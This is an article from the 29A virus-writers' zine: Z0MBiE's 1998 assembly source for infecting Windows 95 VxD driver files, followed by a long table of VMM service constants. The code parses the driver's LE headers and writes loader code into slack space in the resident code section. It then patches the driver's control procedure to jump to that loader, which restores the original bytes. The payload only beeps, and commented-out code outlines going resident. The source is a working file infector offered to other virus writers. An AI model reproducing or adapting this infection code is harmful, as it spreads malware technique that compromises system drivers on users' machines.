Copy Link
Add to Bookmark
Report
29A Issue 03 04 14
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
;
; VxD-infection
;
; programmed in 1998 by Z0MBiE/29A
; all rights reserved
; *** NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A ***
;
; ABOUT THIS PROGRAM
; infected VxDs (file name given in command line) will beep
;
; program writes 'OK' if file infected
; program writes 'X' if cant disassemble instruction
; most of control_procs are written using control_dispatch macro, so
; disassembler must understand not more than 5-10 opcodes...
;
; INFECTION METHOD: (i think Navrhar-alike)
;
; 1. find DDEEntry
; 2. check its CODE section: it must be RESIDENT, CODE32, etc.
; 3. check enough free space in this CODE section
; 3. patch control_proc:
; control_proc_x: [some instructions-with-possible-fixups skipped]
; jmp virus
; virus: ; restore bytes, return control
;
; COMMENTS
; Also VxDs can be infected by adding virus section... but its not easy
; task, becose all data tables are "packed", i.e. not aligned, so no free
; space between these tables.
; But there always exist free space between last data table ("per-page
; checksum table") and first data page (as a rule LCOD, code section)
; So its really possible to add one more objectentry to objecttable
; But if this entry will be added we must add one or more entries to
; following page-map-table, which also has no free space.
; When its all will be done, we must _INSERT_ our code section between
; last data page and non-resident-names-table, which is last in the file.
; I will try to implement this method in next research, so results
; will appears in nearest future.
;
; TO INFECT VxDs-FILES USED:
; 1. sense what VxDs & Windows`95 will be forgotten -
; and these files will be not infected by me ;)
; 2. talks about Navrhar virus - my greetings to author!
; 3. best music in the world - Scorpions
; 4. some documentation - see directory DOC, its all i found
; also you can see winnt.h, but only header defined there
; 5. stuff from Reptile/29A - "how to compile VxD"
; 6. TASM, HIEW, IDA
;
; COMMENTS
; if you have something to say about VxD format/infection/...,
; or if you have VxD format description -
; mail me to z0mbie_29a@yahoo.com
;
; last updated at 9-08-98
;
include INCLUDE\HIEW_VMM.INC ; VxD services
include INCLUDE\VXD_CALL.INC ; VxDCall/VMMCall macros
include INCLUDE\VMM.INC ; some files from MASM
include INCLUDE\IFS.INC
model tiny
p386
locals __
jumps
;cgroup group code, ldr, vxd
cgroup group code, ldr
code segment word use16
assume cs:cgroup, ds:cgroup, es:cgroup, ss:cgroup
org 100h
start:
mov si, 0081h ; command line
__1: mov dx, si ; skip spaces
lodsb
cmp al, 13
jz __exit
cmp al, 32
je __1
__3: lodsb ; find #13
cmp al, 13
je __2
cmp al, 32
jne __3
__2: sub [si-1], al
mov ah, 60h ; convert/copy file name
mov si, dx
lea di, filename
int 21h
; lea si, filename ; store filename for
; lea di, ldr_vxd_name; VxD-loader
; mov cx, 128
; rep movsb
mov ax, 3d02h ; open target file
lea dx, filename
int 21h
jc __exit
mov handle, ax
lea dx, mz ; read MZ header
mov cx, mz_size
call readfile
xor edx, edx ; seek LE header
call seek_edx_mz
lea dx, le_header ; read LE header
mov cx, le_size
call readfile
cmp le_magic, 'EL' ; check for valid LE header
jne __close
; check for valid number of OBJECT ENTRIES
cmp le_object_table_entries, max_objs
ja __close
; check for valid number of PAGES
mov le_number_of_memory_pages, max_pages
ja __close
; seek OBJECT TABLE
mov edx, le_object_table_offset
call seek_edx_mz
lea dx, ot ; read OBJECT TABLE
mov cx, max_ot_size
call readfile
; seek PAGE MAP TABLE
mov edx, le_object_page_map_table_offset
call seek_edx_mz
lea dx, pmt ; read PAGE MAP TABLE
mov cx, max_pmt_size
call readfile
; seek ENTRY TABLE
mov edx, le_entry_table_offset
call seek_edx_mz
; read ENTRY TABLE
lea dx, et
mov cx, max_et_size
call readfile
; analyzing only 1st entry
; check entry type
cmp et.byte ptr 1, 11b ; valid/32bit
jnz __close
movzx edi, et.word ptr 2
; edi=section #, where DDBEntry info located
; si=section offset
lea esi, [edi-1]
imul esi, size oe_struc
add si, offset ot
; check section flags
mov eax, [si].oe_flags
and ax, 0010001101000101b ; 32-bit, resident,
cmp ax, 0010000001000101b ; normal, read, exec
jnz __close
; calculate free space in object section
mov ecx, [si].oe_page_map_entries
imul ecx, le_memory_page_size
sub ecx, [si].oe_virtual_segment_size
; check for enough free space
cmp ecx, ldr_size
jb __close
; calculate our PAGE #
mov eax, [si].oe_page_map_index
add eax, [si].oe_page_map_entries
dec eax
; eax = PAGE MAP TABLE entry
mov eax, pmt[eax*4-4]
test eax, 0FF000000h ; page type: normal
jnz __close
; calculate file offset
mov dx, ax ; dx = high page number
shr eax, 16 ; eax = low page number
xor ah, ah
add ax, dx
dec ax
imul eax, le_memory_page_size
add eax, le_data_pages_offset
; now EAX=offset of PAGE with our code
add eax, le_memory_page_size
sub eax, ecx
; now EAX=offset of OUR CODE in file
mov our_offs, eax
; increase section`s code size
add [si].oe_virtual_segment_size, ldr_size
; convert section # to file offset
mov edx, pmt[edi*4-4]
mov ax, dx
shr edx, 16
xor dh, dh
add dx, ax
dec dx
imul edx, le_memory_page_size
add edx, le_data_pages_offset
; now EDX=offset of our section
mov sect_offs, edx
add edx, et.dword ptr 5
; now EDX=offset of DDB Entry
; seek DDBEntry
call seek_edx
; read DDBEntry
lea dx, ddb
mov cx, max_ddb_size
call readfile
mov edx, ddb.dword ptr 18h ; control_proc_X
;; maybe its mistake
sub edx, [si].oe_relocation_base_address
;;
add edx, sect_offs
; now EDX=offset of control_proc_X in FILE
mov cp_offs, edx
; seek control_proc_X
call seek_edx
lea dx, cp ; read control_proc_X
mov cx, max_cp_size
call readfile
; analyze control_proc_x
lea si, cp
__restart: mov di, si ; pointer to byte to patch
xor bx, bx ; "free" space counter
__nextcmd: cmp si, offset cp + max_cp_size
jae __close
mov ax, [si]
call get_cmd_size
jc __close
add si, cx
or dx, dx
jnz __restart
add bx, cx
cmp bx, 5
jb __nextcmd
__patch: ; okey, space found - calculate some values
; to restore normal execution in VxD
mov eax, sect_offs
sub eax, our_offs
mov save_0, eax
mov al, [di]
mov save_2, al
mov eax, [di+1]
mov save_4, eax
sub di, offset cp
movzx edi, di
mov eax, edi
add eax, ddb.dword ptr 18h
mov save_1, eax
inc eax
mov save_3, eax
mov eax, our_offs
add eax, save_5-ldr_start+4
sub eax, edi
sub eax, cp_offs
neg eax
mov save_5, eax
mov eax, our_offs
add eax, ldr_entry - ldr_start
sub eax, edi
sub eax, cp_offs
sub eax, 5
; jmp to our code
mov cp[edi].byte ptr 0, 0E9h
mov cp[edi].dword ptr 1, eax
; well, thats all - control_x_patches,
; "save_x"-values calculated
; mov ax, 4202h ; seek end-of-file
; mov bx, handle
; xor cx, cx
; cwd
; int 21h
;
; ; store file position
; mov vxd_pos.word ptr 2, dx
; mov vxd_pos.word ptr 0, ax
;
; mov ah, 40h ; write main code
; lea dx, vxd_start
; mov cx, vxd_size
; int 21h
; seek file (free space in code section)
mov edx, our_offs
call seek_edx
; write our code
lea dx, ldr_start
mov cx, ldr_size
call writefile
; seek OBJECT TABLE
mov edx, le_object_table_offset
call seek_edx_mz
; write OBJECT TABLE
; - only one change made, physical section size
; increased by loader size
lea dx, ot
mov ecx, le_object_table_entries
imul ecx, size oe_struc
call writefile
; seek control_proc_X
mov edx, cp_offs
call seek_edx
lea dx, cp ; write control_proc_X
mov cx, max_cp_size
call writefile
mov al, 'O' ; success
int 29h
mov al, 'K'
int 29h
__close: mov ah, 3eh ; close file
mov bx, handle
int 21h
__exit: mov ax, 4c00h ; exit to DOS
int 21h
; this is small disassembler
;
; input:
; al=opcode (byte ptr 0)
; ah=opcode (byte ptr 1)
;
; output:
; CF=0: success
; cx = command size
; dx:
; 0 normal command
; 1 command may contain fixups
; CF=1: error
; cx/dx modified
;
get_cmd_size: xor dx, dx
mov cx, 2
push ax ; jcc xx
and al, 0F0h
cmp al, 070h
pop ax
je __rt
mov cx, 3
cmp ax, 0E883h ; sub eax, xx
je __rt
cmp ax, 0F883h ; cmp eax, xx
je __rt
mov cx, 6
push ax
and ax, 0F0FFh
cmp ax, 0800Fh
pop ax
je __rt
mov cx, 7
inc dx
cmp ax, 005F6h ; test byte ptr [yyyyyyyy], xx
je __rt
dec dx
mov al, 'X' ; unknown command
int 29h
stc
ret
__rt: clc
ret
readfile: pusha ; readfile
mov ah, 3fh
mov bx, handle
int 21h
popa
ret
writefile: pusha ; writefile
mov ah, 40h
mov bx, handle
int 21h
popa
ret
seek_edx_mz: add edx, mz_neptr ; seek(edx). newexe-based
seek_edx: pusha ; seek(edx)
push edx
pop dx
pop cx
mov ax, 4200h
mov bx, handle
int 21h
popa
ret
filename db 256 dup (?) ; file we`re infecting
handle dw ? ; current file handle
sect_offs dd ? ; offset of our section [ABSOLUTE]
; following 2 dwords
; are useful for STEALTH technology
cp_offs dd ? ; offset of control_proc_x [ABSOLUTE]
our_offs dd ? ; offset of our code [ABSOLUTE]
mz:
mz_mz dw ?
mz_last512 dw ?
mz_num512 dw ?
mz_relnum dw ?
mz_headersize dw ?
mz_minmem dw ?
mz_maxmem dw ?
mz_ss dw ?
mz_sp dw ?
mz_checksum dw ?
mz_ip dw ?
mz_cs dw ?
mz_relofs dw ?
mz_ovrnum dw ?
mz_reserved db 32 dup (?)
mz_neptr dd ?
mz_size equ $-mz
le_header:
le_magic dw ?
le_byte_order db ?
le_word_order db ?
le_exec_format_level dd ?
le_cpu_type dw ?
le_target_os dw ?
le_module_version dd ?
le_module_type_flags dd ?
le_number_of_memory_pages dd ?
le_initial_cs dd ?
le_initial_eip dd ?
le_initial_ss dd ?
le_initial_esp dd ?
le_memory_page_size dd ?
le_bytes_on_last_page dd ?
le_fixup_section_size dd ?
le_fixup_section_checksum dd ?
le_loader_section_size dd ?
le_loader_section_checksum dd ?
le_object_table_offset dd ?
le_object_table_entries dd ?
le_object_page_map_table_offset dd ?
le_object_iterate_data_map_offset dd ?
le_resource_table_offset dd ?
le_resource_table_entries dd ?
le_resident_names_table_offset dd ?
le_entry_table_offset dd ?
le_module_directives_table_offset dd ?
le_module_directives_table_entries dd ?
le_fixup_page_table_offset dd ?
le_fixup_record_table_offset dd ?
le_imported_module_names_table_offset dd ?
le_imported_modules_count dd ?
le_imported_procedure_name_table_offset dd ?
le_per_page_checksum_table_offset dd ?
le_data_pages_offset dd ?
le_preload_page_count dd ?
le_nonresident_names_table_offset dd ?
le_nonresident_names_table_length dd ?
le_nonresident_names_table_checksum dd ?
le_automatic_data_object dd ?
le_debug_information_offset dd ?
le_debug_information_length dd ?
le_preload_instance_pages_number dd ?
le_demand_instance_pages_number dd ?
le_extra_heap_allocation dd ?
le_unknown dd ?
le_size equ $-le_header
; vxd`s object table object entry structure
oe_struc struc
oe_virtual_segment_size dd ?
oe_relocation_base_address dd ?
oe_flags dd ?
oe_page_map_index dd ?
oe_page_map_entries dd ?
oe_reserved dd ?
ends
; vxd`s object table
max_objs equ 32
ot oe_struc max_objs dup (?)
max_ot_size equ $-ot
; page-map table
max_pages equ 64
pmt dd max_pages dup (?)
max_pmt_size equ $-pmt
; entry-table (really its not a table)
max_et_size equ 256
et db max_et_size dup (?)
; DDBEntry structure
max_ddb_size equ 64
ddb db max_ddb_size dup (?)
; control_proc_x we`re patching
max_cp_size equ 256
cp db max_cp_size dup (?)
align 16 ; important!
code ends
ldr segment word use32 ; 32-bit VxD-loader
assume cs:ldr, ds:ldr, es:ldr, ss:ldr
ldr_start: nop
ldr_entry: pushf ; <- important
pushad
call entry ; where am i?
entry: pop ebp
sub ebp, entry - ldr_start
lea eax, [ebp+12345678h] ; make EAX points to
save_0 equ dword ptr $-4 ; section beginning
; restore original bytes
; can anybody explain it?
; section attributes was exec+readonly, i.e.
; not writeable, but following patch works
mov byte ptr ds:[eax+12345678h], 12h
save_1 equ dword ptr $-5
save_2 equ byte ptr $-1
mov dword ptr ds:[eax+12345678h], 12345678h
save_3 equ dword ptr $-8
save_4 equ dword ptr $-4
call beep
; ; now control_proc_x restored, and we can
; ; go resident
;
; ; alloocate some memory
; push PAGEFIXED + PAGEZEROINIT ; flags
; push 0 ; PhysAddr @dword, unused
; push 0 ; maxPhys max page #, unused
; push 0 ; minPhys min page #, unused
; push 0Fh ; ALignMask 64k-aligned
; push 0 ; VM 0 if pType=PG_SYS
; push PG_SYS ; pType alloc in sys area
; push vxd_pages; nPages page count
; VMMcall PageAllocate
; add esp, 4*8
;
; mov ecx, eax
; or ecx, edx
; jz __error
;
; ; mov pagehandle[ebp], eax
; ; mov pageaddress[ebp], edx
;
; mov edi, edx ; edi = our address
;
; int 3
;
; lea edx, ldr_vxd_name[ebp]
; VMMcall OpenFile
; jc __error
; xchg ebx, eax
__error: popad
popf
db 0e9h
save_5 dd 12345678h
beep: in al, 0B6h
out 43h, al
mov ax, 123456h/3300 ; 3300 Hz
out 42h, al
mov al, ah
out 42h, al
in al, 61h
or al, 3
out 61h, al
mov ecx, 3000000
__1: nop
loop __1
in al, 61h
and al, not 3
out 61h, al
ret
;ldr_vxd_name db 128 dup ('?')
ldr_end:
ldr_size equ ldr_end - ldr_start
align 16 ; important!
ldr ends
;vxd segment word use32 ; 32-bit VxD-handler
; assume cs:vxd, ds:vxd, es:vxd, ss:vxd
;
;vxd_start:
;
; nop
; nop
; nop
;
;vxd_end:
;vxd_size equ vxd_end - vxd_start
;vxd_pages equ (vxd_size + 4095) / 4096
;vxd ends
;
end start
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\hiew_vmm.inc]ÄÄ
; [HiewVMM 5.80]
; [0001.VMM]
VMM_Get_VMM_Version equ 000010000h
VMM_Get_Cur_VM_Handle equ 000010001h
VMM_Test_Cur_VM_Handle equ 000010002h
VMM_Get_Sys_VM_Handle equ 000010003h
VMM_Test_Sys_VM_Handle equ 000010004h
VMM_Validate_VM_Handle equ 000010005h
VMM_Get_VMM_Reenter_Count equ 000010006h
VMM_Begin_Reentrant_Execution equ 000010007h
VMM_End_Reentrant_Execution equ 000010008h
VMM_Install_V86_Break_Point equ 000010009h
VMM_Remove_V86_Break_Point equ 00001000Ah
VMM_Allocate_V86_Call_Back equ 00001000Bh
VMM_Allocate_PM_Call_Back equ 00001000Ch
VMM_Call_When_VM_Returns equ 00001000Dh
VMM_Schedule_Global_Event equ 00001000Eh
VMM_Schedule_VM_Event equ 00001000Fh
VMM_Call_Global_Event equ 000010010h
VMM_Call_VM_Event equ 000010011h
VMM_Cancel_Global_Event equ 000010012h
VMM_Cancel_VM_Event equ 000010013h
VMM_Call_Priority_VM_Event equ 000010014h
VMM_Cancel_Priority_VM_Event equ 000010015h
VMM_Get_NMI_Handler_Addr equ 000010016h
VMM_Set_NMI_Handler_Addr equ 000010017h
VMM_Hook_NMI_Event equ 000010018h
VMM_Call_When_VM_Ints_Enabled equ 000010019h
VMM_Enable_VM_Ints equ 00001001Ah
VMM_Disable_VM_Ints equ 00001001Bh
VMM_Map_Flat equ 00001001Ch
VMM_Map_Lin_To_VM_Addr equ 00001001Dh
VMM_Adjust_Exec_Priority equ 00001001Eh
VMM_Begin_Critical_Section equ 00001001Fh
VMM_End_Critical_Section equ 000010020h
VMM_End_Crit_And_Suspend equ 000010021h
VMM_Claim_Critical_Section equ 000010022h
VMM_Release_Critical_Section equ 000010023h
VMM_Call_When_Not_Critical equ 000010024h
VMM_Create_Semaphore equ 000010025h
VMM_Destroy_Semaphore equ 000010026h
VMM_Wait_Semaphore equ 000010027h
VMM_Signal_Semaphore equ 000010028h
VMM_Get_Crit_Section_Status equ 000010029h
VMM_Call_When_Task_Switched equ 00001002Ah
VMM_Suspend_VM equ 00001002Bh
VMM_Resume_VM equ 00001002Ch
VMM_No_Fail_Resume_VM equ 00001002Dh
VMM_Nuke_VM equ 00001002Eh
VMM_Crash_Cur_VM equ 00001002Fh
VMM_Get_Execution_Focus equ 000010030h
VMM_Set_Execution_Focus equ 000010031h
VMM_Get_Time_Slice_Priority equ 000010032h
VMM_Set_Time_Slice_Priority equ 000010033h
VMM_Get_Time_Slice_Granularity equ 000010034h
VMM_Set_Time_Slice_Granularity equ 000010035h
VMM_Get_Time_Slice_Info equ 000010036h
VMM_Adjust_Execution_Time equ 000010037h
VMM_Release_Time_Slice equ 000010038h
VMM_Wake_Up_VM equ 000010039h
VMM_Call_When_Idle equ 00001003Ah
VMM_Get_Next_VM_Handle equ 00001003Bh
VMM_Set_Global_Time_Out equ 00001003Ch
VMM_Set_VM_Time_Out equ 00001003Dh
VMM_Cancel_Time_Out equ 00001003Eh
VMM_Get_System_Time equ 00001003Fh
VMM_Get_VM_Exec_Time equ 000010040h
VMM_Hook_V86_Int_Chain equ 000010041h
VMM_Get_V86_Int_Vector equ 000010042h
VMM_Set_V86_Int_Vector equ 000010043h
VMM_Get_PM_Int_Vector equ 000010044h
VMM_Set_PM_Int_Vector equ 000010045h
VMM_Simulate_Int equ 000010046h
VMM_Simulate_Iret equ 000010047h
VMM_Simulate_Far_Call equ 000010048h
VMM_Simulate_Far_Jmp equ 000010049h
VMM_Simulate_Far_Ret equ 00001004Ah
VMM_Simulate_Far_Ret_N equ 00001004Bh
VMM_Build_Int_Stack_Frame equ 00001004Ch
VMM_Simulate_Push equ 00001004Dh
VMM_Simulate_Pop equ 00001004Eh
VMM_HeapAllocate equ 00001004Fh
VMM_HeapReAllocate equ 000010050h
VMM_HeapFree equ 000010051h
VMM_HeapGetSize equ 000010052h
VMM_PageAllocate equ 000010053h
VMM_PageReAllocate equ 000010054h
VMM_PageFree equ 000010055h
VMM_PageLock equ 000010056h
VMM_PageUnLock equ 000010057h
VMM_PageGetSizeAddr equ 000010058h
VMM_PageGetAllocInfo equ 000010059h
VMM_GetFreePageCount equ 00001005Ah
VMM_GetSysPageCount equ 00001005Bh
VMM_GetVMPgCount equ 00001005Ch
VMM_MapIntoV86 equ 00001005Dh
VMM_PhysIntoV86 equ 00001005Eh
VMM_TestGlobalV86Mem equ 00001005Fh
VMM_ModifyPageBits equ 000010060h
VMM_CopyPageTable equ 000010061h
VMM_LinMapIntoV86 equ 000010062h
VMM_LinPageLock equ 000010063h
VMM_LinPageUnLock equ 000010064h
VMM_SetResetV86Pageable equ 000010065h
VMM_GetV86PageableArray equ 000010066h
VMM_PageCheckLinRange equ 000010067h
VMM_PageOutDirtyPages equ 000010068h
VMM_PageDiscardPages equ 000010069h
VMM_GetNulPageHandle equ 00001006Ah
VMM_GetFirstV86Page equ 00001006Bh
VMM_MapPhysToLinear equ 00001006Ch
VMM_GetAppFlatDSAlias equ 00001006Dh
VMM_SelectorMapFlat equ 00001006Eh
VMM_GetDemandPageInfo equ 00001006Fh
VMM_GetSetPageOutCount equ 000010070h
VMM_Hook_V86_Page equ 000010071h
VMM_Assign_Device_V86_Pages equ 000010072h
VMM_DeAssign_Device_V86_Pages equ 000010073h
VMM_Get_Device_V86_Pages_Array equ 000010074h
VMM_MMGR_SetNULPageAddr equ 000010075h
VMM_Allocate_GDT_Selector equ 000010076h
VMM_Free_GDT_Selector equ 000010077h
VMM_Allocate_LDT_Selector equ 000010078h
VMM_Free_LDT_Selector equ 000010079h
VMM_BuildDescriptorDWORDs equ 00001007Ah
VMM_GetDescriptor equ 00001007Bh
VMM_SetDescriptor equ 00001007Ch
VMM_MMGR_Toggle_HMA equ 00001007Dh
VMM_Get_Fault_Hook_Addrs equ 00001007Eh
VMM_Hook_V86_Fault equ 00001007Fh
VMM_Hook_PM_Fault equ 000010080h
VMM_Hook_VMM_Fault equ 000010081h
VMM_Begin_Nest_V86_Exec equ 000010082h
VMM_Begin_Nest_Exec equ 000010083h
VMM_Exec_Int equ 000010084h
VMM_Resume_Exec equ 000010085h
VMM_End_Nest_Exec equ 000010086h
VMM_Allocate_PM_App_CB_Area equ 000010087h
VMM_Get_Cur_PM_App_CB equ 000010088h
VMM_Set_V86_Exec_Mode equ 000010089h
VMM_Set_PM_Exec_Mode equ 00001008Ah
VMM_Begin_Use_Locked_PM_Stack equ 00001008Bh
VMM_End_Use_Locked_PM_Stack equ 00001008Ch
VMM_Save_Client_State equ 00001008Dh
VMM_Restore_Client_State equ 00001008Eh
VMM_Exec_VxD_Int equ 00001008Fh
VMM_Hook_Device_Service equ 000010090h
VMM_Hook_Device_V86_API equ 000010091h
VMM_Hook_Device_PM_API equ 000010092h
VMM_System_Control equ 000010093h
VMM_Simulate_IO equ 000010094h
VMM_Install_Mult_IO_Handlers equ 000010095h
VMM_Install_IO_Handler equ 000010096h
VMM_Enable_Global_Trapping equ 000010097h
VMM_Enable_Local_Trapping equ 000010098h
VMM_Disable_Global_Trapping equ 000010099h
VMM_Disable_Local_Trapping equ 00001009Ah
VMM_List_Create equ 00001009Bh
VMM_List_Destroy equ 00001009Ch
VMM_List_Allocate equ 00001009Dh
VMM_List_Attach equ 00001009Eh
VMM_List_Attach_Tail equ 00001009Fh
VMM_List_Insert equ 0000100A0h
VMM_List_Remove equ 0000100A1h
VMM_List_Deallocate equ 0000100A2h
VMM_List_Get_First equ 0000100A3h
VMM_List_Get_Next equ 0000100A4h
VMM_List_Remove_First equ 0000100A5h
VMM_AddInstanceItem equ 0000100A6h
VMM_Allocate_Device_CB_Area equ 0000100A7h
VMM_Allocate_Global_V86_Data_Area equ 0000100A8h
VMM_Allocate_Temp_V86_Data_Area equ 0000100A9h
VMM_Free_Temp_V86_Data_Area equ 0000100AAh
VMM_Get_Profile_Decimal_Int equ 0000100ABh
VMM_Convert_Decimal_String equ 0000100ACh
VMM_Get_Profile_Fixed_Point equ 0000100ADh
VMM_Convert_Fixed_Point_String equ 0000100AEh
VMM_Get_Profile_Hex_Int equ 0000100AFh
VMM_Convert_Hex_String equ 0000100B0h
VMM_Get_Profile_Boolean equ 0000100B1h
VMM_Convert_Boolean_String equ 0000100B2h
VMM_Get_Profile_String equ 0000100B3h
VMM_Get_Next_Profile_String equ 0000100B4h
VMM_Get_Environment_String equ 0000100B5h
VMM_Get_Exec_Path equ 0000100B6h
VMM_Get_Config_Directory equ 0000100B7h
VMM_OpenFile equ 0000100B8h
VMM_Get_PSP_Segment equ 0000100B9h
VMM_GetDOSVectors equ 0000100BAh
VMM_Get_Machine_Info equ 0000100BBh
VMM_GetSet_HMA_Info equ 0000100BCh
VMM_Set_System_Exit_Code equ 0000100BDh
VMM_Fatal_Error_Handler equ 0000100BEh
VMM_Fatal_Memory_Error equ 0000100BFh
VMM_Update_System_Clock equ 0000100C0h
VMM_Test_Debug_Installed equ 0000100C1h
VMM_Out_Debug_String equ 0000100C2h
VMM_Out_Debug_Chr equ 0000100C3h
VMM_In_Debug_Chr equ 0000100C4h
VMM_Debug_Convert_Hex_Binary equ 0000100C5h
VMM_Debug_Convert_Hex_Decimal equ 0000100C6h
VMM_Debug_Test_Valid_Handle equ 0000100C7h
VMM_Validate_Client_Ptr equ 0000100C8h
VMM_Test_Reenter equ 0000100C9h
VMM_Queue_Debug_String equ 0000100CAh
VMM_Log_Proc_Call equ 0000100CBh
VMM_Debug_Test_Cur_VM equ 0000100CCh
VMM_Get_PM_Int_Type equ 0000100CDh
VMM_Set_PM_Int_Type equ 0000100CEh
VMM_Get_Last_Updated_System_Time equ 0000100CFh
VMM_Get_Last_Updated_VM_Exec_Time equ 0000100D0h
VMM_Test_DBCS_Lead_Byte equ 0000100D1h
VMM_AddFreePhysPage equ 0000100D2h
VMM_PageResetHandlePAddr equ 0000100D3h
VMM_SetLastV86Page equ 0000100D4h
VMM_GetLastV86Page equ 0000100D5h
VMM_MapFreePhysReg equ 0000100D6h
VMM_UnmapFreePhysReg equ 0000100D7h
VMM_XchgFreePhysReg equ 0000100D8h
VMM_SetFreePhysRegCalBk equ 0000100D9h
VMM_Get_Next_Arena equ 0000100DAh
VMM_Get_Name_Of_Ugly_TSR equ 0000100DBh
VMM_Get_Debug_Options equ 0000100DCh
VMM_Set_Physical_HMA_Alias equ 0000100DDh
VMM_GetGlblRng0V86IntBase equ 0000100DEh
VMM_Add_Global_V86_Data_Area equ 0000100DFh
VMM_GetSetDetailedVMError equ 0000100E0h
VMM_Is_Debug_Chr equ 0000100E1h
VMM_Clear_Mono_Screen equ 0000100E2h
VMM_Out_Mono_Chr equ 0000100E3h
VMM_Out_Mono_String equ 0000100E4h
VMM_Set_Mono_Cur_Pos equ 0000100E5h
VMM_Get_Mono_Cur_Pos equ 0000100E6h
VMM_Get_Mono_Chr equ 0000100E7h
VMM_Locate_Byte_In_ROM equ 0000100E8h
VMM_Hook_Invalid_Page_Fault equ 0000100E9h
VMM_Unhook_Invalid_Page_Fault equ 0000100EAh
VMM_Set_Delete_On_Exit_File equ 0000100EBh
VMM_Close_VM equ 0000100ECh
VMM_Enable_Touch_1st_Meg equ 0000100EDh
VMM_Disable_Touch_1st_Meg equ 0000100EEh
VMM_Install_Exception_Handler equ 0000100EFh
VMM_Remove_Exception_Handler equ 0000100F0h
VMM_Get_Crit_Status_No_Block equ 0000100F1h
VMM_GetLastUpdatedThreadExecTime equ 0000100F2h
VMM_Trace_Out_Service equ 0000100F3h
VMM_Debug_Out_Service equ 0000100F4h
VMM_Debug_Flags_Service equ 0000100F5h
VMM_VMMAddImportModuleName equ 0000100F6h
VMM_VMM_Add_DDB equ 0000100F7h
VMM_VMM_Remove_DDB equ 0000100F8h
VMM_Test_VM_Ints_Enabled equ 0000100F9h
VMM_BlockOnID equ 0000100FAh
VMM_Schedule_Thread_Event equ 0000100FBh
VMM_Cancel_Thread_Event equ 0000100FCh
VMM_Set_Thread_Time_Out equ 0000100FDh
VMM_Set_Async_Time_Out equ 0000100FEh
VMM_AllocateThreadDataSlot equ 0000100FFh
VMM_FreeThreadDataSlot equ 000010100h
VMM_CreateMutex equ 000010101h
VMM_DestroyMutex equ 000010102h
VMM_GetMutexOwner equ 000010103h
VMM_Call_When_Thread_Switched equ 000010104h
VMM_VMMCreateThread equ 000010105h
VMM_GetThreadExecTime equ 000010106h
VMM_VMMTerminateThread equ 000010107h
VMM_Get_Cur_Thread_Handle equ 000010108h
VMM_Test_Cur_Thread_Handle equ 000010109h
VMM_Get_Sys_Thread_Handle equ 00001010Ah
VMM_Test_Sys_Thread_Handle equ 00001010Bh
VMM_Validate_Thread_Handle equ 00001010Ch
VMM_Get_Initial_Thread_Handle equ 00001010Dh
VMM_Test_Initial_Thread_Handle equ 00001010Eh
VMM_Debug_Test_Valid_Thread_Handle equ 00001010Fh
VMM_Debug_Test_Cur_Thread equ 000010110h
VMM_VMM_GetSystemInitState equ 000010111h
VMM_Cancel_Call_When_Thread_Switched equ 000010112h
VMM_Get_Next_Thread_Handle equ 000010113h
VMM_Adjust_Thread_Exec_Priority equ 000010114h
VMM_Deallocate_Device_CB_Area equ 000010115h
VMM_Remove_IO_Handler equ 000010116h
VMM_Remove_Mult_IO_Handlers equ 000010117h
VMM_Unhook_V86_Int_Chain equ 000010118h
VMM_Unhook_V86_Fault equ 000010119h
VMM_Unhook_PM_Fault equ 00001011Ah
VMM_Unhook_VMM_Fault equ 00001011Bh
VMM_Unhook_Device_Service equ 00001011Ch
VMM_PageReserve equ 00001011Dh
VMM_PageCommit equ 00001011Eh
VMM_PageDecommit equ 00001011Fh
VMM_PagerRegister equ 000010120h
VMM_PagerQuery equ 000010121h
VMM_PagerDeregister equ 000010122h
VMM_ContextCreate equ 000010123h
VMM_ContextDestroy equ 000010124h
VMM_PageAttach equ 000010125h
VMM_PageFlush equ 000010126h
VMM_SignalID equ 000010127h
VMM_PageCommitPhys equ 000010128h
VMM_Register_Win32_Services equ 000010129h
VMM_Cancel_Call_When_Not_Critical equ 00001012Ah
VMM_Cancel_Call_When_Idle equ 00001012Bh
VMM_Cancel_Call_When_Task_Switched equ 00001012Ch
VMM_Debug_Printf_Service equ 00001012Dh
VMM_EnterMutex equ 00001012Eh
VMM_LeaveMutex equ 00001012Fh
VMM_Simulate_VM_IO equ 000010130h
VMM_Signal_Semaphore_No_Switch equ 000010131h
VMM_ContextSwitch equ 000010132h
VMM_PageModifyPermissions equ 000010133h
VMM_PageQuery equ 000010134h
VMM_EnterMustComplete equ 000010135h
VMM_LeaveMustComplete equ 000010136h
VMM_ResumeExecMustComplete equ 000010137h
VMM_GetThreadTerminationStatus equ 000010138h
VMM_GetInstanceInfo equ 000010139h
VMM_ExecIntMustComplete equ 00001013Ah
VMM_ExecVxDIntMustComplete equ 00001013Bh
VMM_Begin_V86_Serialization equ 00001013Ch
VMM_Unhook_V86_Page equ 00001013Dh
VMM_VMM_GetVxDLocationList equ 00001013Eh
VMM_VMM_GetDDBList equ 00001013Fh
VMM_Unhook_NMI_Event equ 000010140h
VMM_Get_Instanced_V86_Int_Vector equ 000010141h
VMM_Get_Set_Real_DOS_PSP equ 000010142h
VMM_Call_Priority_Thread_Event equ 000010143h
VMM_Get_System_Time_Address equ 000010144h
VMM_Get_Crit_Status_Thread equ 000010145h
VMM_Get_DDB equ 000010146h
VMM_Directed_Sys_Control equ 000010147h
VMM_RegOpenKey equ 000010148h
VMM_RegCloseKey equ 000010149h
VMM_RegCreateKey equ 00001014Ah
VMM_RegDeleteKey equ 00001014Bh
VMM_RegEnumKey equ 00001014Ch
VMM_RegQueryValue equ 00001014Dh
VMM_RegSetValue equ 00001014Eh
VMM_RegDeleteValue equ 00001014Fh
VMM_RegEnumValue equ 000010150h
VMM_RegQueryValueEx equ 000010151h
